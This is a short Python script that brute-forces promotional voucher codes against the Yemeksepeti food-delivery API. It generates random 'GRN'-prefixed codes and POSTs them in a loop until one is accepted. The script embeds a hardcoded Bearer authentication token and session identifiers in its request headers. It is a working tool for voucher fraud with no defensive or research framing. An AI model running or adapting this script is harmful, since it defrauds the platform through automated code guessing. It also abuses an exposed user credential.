- import random
- import string
- import requests
- import time
- url = "https://tr.fd-api.com/.../incentives-wallet/vouchers/save..."
- headers = {
- "Accept": "application/json, text/plain, */*",
- "Accept-Encoding": "gzip, deflate, br, zstd",
- "Accept-Language": "tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7",
- "Authorization": "Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6ImtleW1ha2VyLWtleS12b2xvLXlzLXRyIiwidHlwIjoiSldUIn0.eyJpZCI6IncwdG9rMWFyYjlhZWx5czNnMjRjN2lmdWI4ZXF5cHNwZXlvYzdpdXAiLCJjbGllbnRfaWQiOiJ2b2xvIiwidXNlcl9pZCI6InRydTUzb2Y3IiwiZXhwaXJlcyI6MTcxMDE5OTM3MywidG9rZW5fdHlwZSI6ImJlYXJlciIsInNjb3BlIjoiQVBJX0NVU1RPTUVSIEFQSV9SRUdJU1RFUkVEX0NVU1RPTUVSIn0.JvJ-CdOb0NJi8iUYp5WiCzarWy8b-1-HbN7vAVicaBiSueqWcqi-MP7zQBGP13UpN0QeBsacyjwoXQq7mYNVkhKszQH-0QS_Q0DBE-UhwLj0rWpUx6_4GERziKlLwjX0Kyxgpzl6tPb2JJaRdua4LnTVSvQ__K-Xb2Z3fmL-ndm_JAJwZzpoxMCo6T2cxonclgICze6MaqP4tBX7pNpiN7RJWLXwdkh6rc8MuYtvoJQ1Ia_UWm8voBO5NHgfUQcmOOwhUNsizth002DxSJIJ4GqZZrw-8txkEexAI4E9UZCSM1ACw6QGt7SnM7m7gWjjMN1urPZaGMVNB42DvSj3ow",
- "Cache-Control": "no-cache",
- "Content-Length": "19",
- "Content-Type": "application/json;charset=UTF-8",
- "Origin": "https://www.yemeksepeti.com",
- "Perseus-Client-Id": "1710195773960.81625445045795170.0hejjt4lle",
- "Perseus-Session-Id": "1710195774905.325312439824442700.7hg69m4gy5",
- "Pragma": "no-cache",
- "Referer": "https://www.yemeksepeti.com/",
- "Sec-Ch-Ua": '"Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"',
- "Sec-Ch-Ua-Mobile": "?0",
- "Sec-Ch-Ua-Platform": '"Windows"',
- "Sec-Fetch-Dest": "empty",
- "Sec-Fetch-Mode": "cors",
- "Sec-Fetch-Site": "cross-site",
- "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36",
- "X-Fp-Api-Key": "volo"
- }
- found = False
- while not found:
- random_n = random.randint(100, 999)
- random_t = ''.join(random.choices(string.ascii_uppercase, k=2))
- code = "GRN" + str(random_n) + random_t
- # Sample data
- data = {
- "code": code
- }
- # Make the POST request
- response = requests.post(url, json=data, headers=headers)
- # Check if request was successful
- if response.status_code == 200:
- print("Voucher applied successfully!")
- found = True
- else:
- print("Error:", response.text, code)
- time.sleep(0.5)